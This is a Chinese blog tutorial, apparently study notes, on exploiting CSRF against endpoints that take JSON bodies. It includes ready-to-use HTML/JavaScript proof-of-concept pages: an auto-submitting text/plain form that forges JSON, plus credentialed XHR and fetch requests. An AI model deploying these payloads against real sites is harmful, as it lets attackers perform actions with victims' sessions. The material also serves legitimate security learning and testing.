zoukankan      html  css  js  c++  java
  • 碰到 Json_CSRF 怎么办?

    前言

    在最近挖洞的时候,老是碰到 POST 传参采用 JSON 格式,而不是传统的parameter=value的格式,之前也没接触过,所以也不知道该怎么搞,所以打算学习一下,此文作为一个笔记梳理。

    前提知识

    一般采用 Json 格式传输参数时,请求包中都有 Content-Type 头,一般服务器也会验证 Content-Type 值是否为 application/json,当服务器验证 Content-Type 时,若不符合要求,则会抛出异常,导致传输的数据失效

    当简单的采用表单传输简单参数时,Content-Type 值为:x-www-form-urlencoded,传输的数据会被 URL 编码,传输文件时值为:form-data
    给表单添加 enctype="text/plain" 属性时,Content-type 值为:text/plain

    在使用 XMLHttpRequest 跨域发起请求时,浏览器首先会先进行一次 OPTIONS 预请求,查看目标网站是否支持跨域,如果支持,则浏览器会进行下一步,发送真实请求,否则会直接报错

    突破限制的方法

    下面统一假设 POST 传输的参数为:{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}

    服务端不验证 Content-Type 的情况

    • 特殊的表单,即构造一个键值对
    <!DOCTYPE html>
    <html>
    <head>
    	<title>Json_CSRF</title>
    	<meta charset="utf-8">
    </head>
    <body>
    <form id="test" enctype="text/plain" action="http://baidu.com" method="post">
    	<input name='{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20","test":"' value='test"}'>
    </form>
    <script type="text/javascript">
    	document.getElementById("test").submit();
    </script>
    </body>
    </html>
    

    可以看到请求包中:

    传输的数据变成了:{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20","test":"=test"}
    且请求头中:Content-Type: text/plain,当服务器后端严格校验 Content-Type 头时,该方法也就差不多没用了

    • 利用 JS 中的 XMLHttpRequest,即 XHR,该方法要求目标网站支持跨域
    <!DOCTYPE html>
    <html>
    <head>
    	<title>Json_CSRF</title>
    	<meta charset="utf-8">
    </head>
    <body>
    <script type="text/javascript">
    	function csrf(){
    	      var xmlhttp = new XMLHttpRequest();
    	      xmlhttp.open("POST","https://baidu.com",true);
    	      xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8");
    	      xmlhttp.withCredentials = true;
    	      xmlhttp.send(JSON.stringify({"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}));;
    	}
    	csrf();
    </script>
    </body>
    </html>
    

    首先,浏览器会发起一个 OPTION 请求,查询目标网站是否支持跨域

    如果目标响应包中有 Access-Control-Allow-Credentials: true 代表允许携带 cookie
    Access-Control-Allow-Origin:http://mysite.com 或者为 Access-Control-Allow-Origin:*,即代表支持跨域
    浏览器便会携带 cookie 发起真实请求

    注意:实际上百度并不支持跨域,此处只是为了方便演示

    当目标网站不支持跨域,则浏览器将不会发起请求,导致该方法失效

    当然,除了 XMLHttpRequestfetch 也是一样的

    <script>
          function csrf(){
                fetch('https://baidu.com';, {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json;charset=UTF-8'}, body: '{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}'});
          }
          csrf();
    </script>
    

    服务端验证 Content-Type 的情况

    • XHR
      跟上面一样,也是利用 XMLHttpRequest
    • flash

    可惜,现在是个浏览器都会询问用户是否开启 flash,此举难以成功,而且不久,flash 就会被废弃

  • 相关阅读:
    主机的IOPS需求转换成硬盘实际IOPS负载
    IT安全运维职责
    IT应用运维职责
    存储RAID 选择策略
    交换机接口下错包计数,哪些是属于物理链路(包括本端设备和对端设备硬件问题)引起的
    华为交换机SNMP配置
    c# 位与运算符&简单实现复选框功能【实际应用】
    centos7 安装谷歌浏览器教程
    centos7下 Consul安装
    .netcore3.1 获取请求头header中认证信息并调用其它接口
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/13339342.html
Copyright © 2011-2022 走看看